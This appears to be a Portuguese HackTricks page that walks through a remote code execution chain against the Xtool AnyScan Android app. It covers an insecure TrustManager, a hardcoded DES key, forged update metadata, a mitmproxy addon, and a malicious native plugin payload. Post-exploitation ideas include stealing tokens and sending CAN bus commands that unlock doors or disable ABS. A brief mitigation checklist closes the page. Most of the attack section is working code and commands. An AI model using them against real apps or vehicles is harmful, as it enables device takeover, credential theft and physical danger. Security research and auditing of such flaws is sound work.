Mecanismos de Atualização Insegura em Aplicativos – Execução Remota de Código via Plugins Maliciosos
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Muitos aplicativos Android implementam seus próprios canais de atualização de “plugin” ou “recurso dinâmico” em vez de usar a Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar o tráfego pode fornecer código nativo arbitrário que será carregado dentro do processo do aplicativo, levando à execução remota de código (RCE) total no dispositivo – e em alguns casos em qualquer dispositivo externo controlado pelo aplicativo (carros, IoT, dispositivos médicos…).
Esta página resume uma cadeia de vulnerabilidade do mundo real encontrada no aplicativo de diagnóstico automotivo Xtool AnyScan (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros aplicativos Android e transformar a má configuração em uma arma durante um engajamento de red team.
1. Identificando um TrustManager TLS Inseguro
- Descompile o APK com jadx / apktool e localize a pilha de rede (OkHttp, HttpUrlConnection, Retrofit…).
- Procure por um
TrustManager
ouHostnameVerifier
personalizado que confia cegamente em todos os certificados:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- Se presente, o aplicativo aceitará qualquer certificado TLS → você pode executar um proxy MITM transparente com um certificado autoassinado:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
2. Engenharia Reversa dos Metadados de Atualização
No caso do AnyScan, cada lançamento do aplicativo aciona um GET HTTPS para:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
O corpo da resposta é um documento XML cujos nós <FileData>
contêm JSON criptografado em DES-ECB e codificado em Base64 descrevendo cada plugin disponível.
Passos típicos de busca:
- Localize a rotina de criptografia (por exemplo,
RemoteServiceProxy
) e recupere:
- algoritmo (DES / AES / RC4 …)
- modo de operação (ECB / CBC / GCM …)
- chave / IV codificados (frequentemente chaves DES de 56 bits ou chaves AES de 128 bits em constantes)
- Reimplemente a função em Python para descriptografar / criptografar os metadados:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
3. Crie um Plugin Malicioso
- Escolha qualquer plugin legítimo em formato ZIP e substitua a biblioteca nativa pelo seu payload:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- Atualize os metadados JSON para que
"FileName" : "PWNED.zip"
e"DownloadURL"
aponte para seu servidor HTTP. - Encripte em DES + codifique em Base64 o JSON modificado e cole-o de volta dentro do XML interceptado.
4. Entregue o Payload com mitmproxy
addon.py
exemplo que silenciosamente troca os metadados originais:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
Execute um servidor web simples para hospedar o ZIP malicioso:
python3 -m http.server 8000 --directory ./payloads
Quando a vítima inicia o aplicativo, ele irá:
- buscar nosso XML forjado através do canal MITM;
- descriptografá-lo e analisá-lo com a chave DES codificada;
- baixar
PWNED.zip
→ descompactar dentro do armazenamento privado; dlopen()
a libscan_x64.so incluída, executando instantaneamente nosso código com as permissões do aplicativo (câmera, GPS, Bluetooth, sistema de arquivos, ...).
Como o plugin é armazenado em cache no disco, o backdoor persiste entre reinicializações e é executado toda vez que o usuário seleciona o recurso relacionado.
5. Ideias de Pós-Exploração
- Roubar cookies de sessão, tokens OAuth ou JWTs armazenados pelo aplicativo.
- Lançar um APK de segunda fase e instalá-lo silenciosamente via
pm install
(o aplicativo já possuiREQUEST_INSTALL_PACKAGES
). - Abusar de qualquer hardware conectado – no cenário AnyScan, você pode enviar comandos OBD-II / CAN bus arbitrários (destrancar portas, desativar ABS, etc.).
Lista de Verificação de Detecção e Mitigação (equipe azul)
- NUNCA envie uma versão de produção com um TrustManager/HostnameVerifier personalizado que desabilite a validação de certificados.
- Não baixe código executável de fora do Google Play. Se você precisar, assine cada plugin com a mesma chave apkSigning v2 e verifique a assinatura antes de carregar.
- Substitua criptografia fraca/codificada por AES-GCM e uma chave rotativa do lado do servidor.
- Valide a integridade dos arquivos baixados (assinatura ou pelo menos SHA-256).
Referências
- NowSecure – Execução Remota de Código Descoberta no Aplicativo Xtool AnyScan
- Android – Padrões de TrustManager Inseguros
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.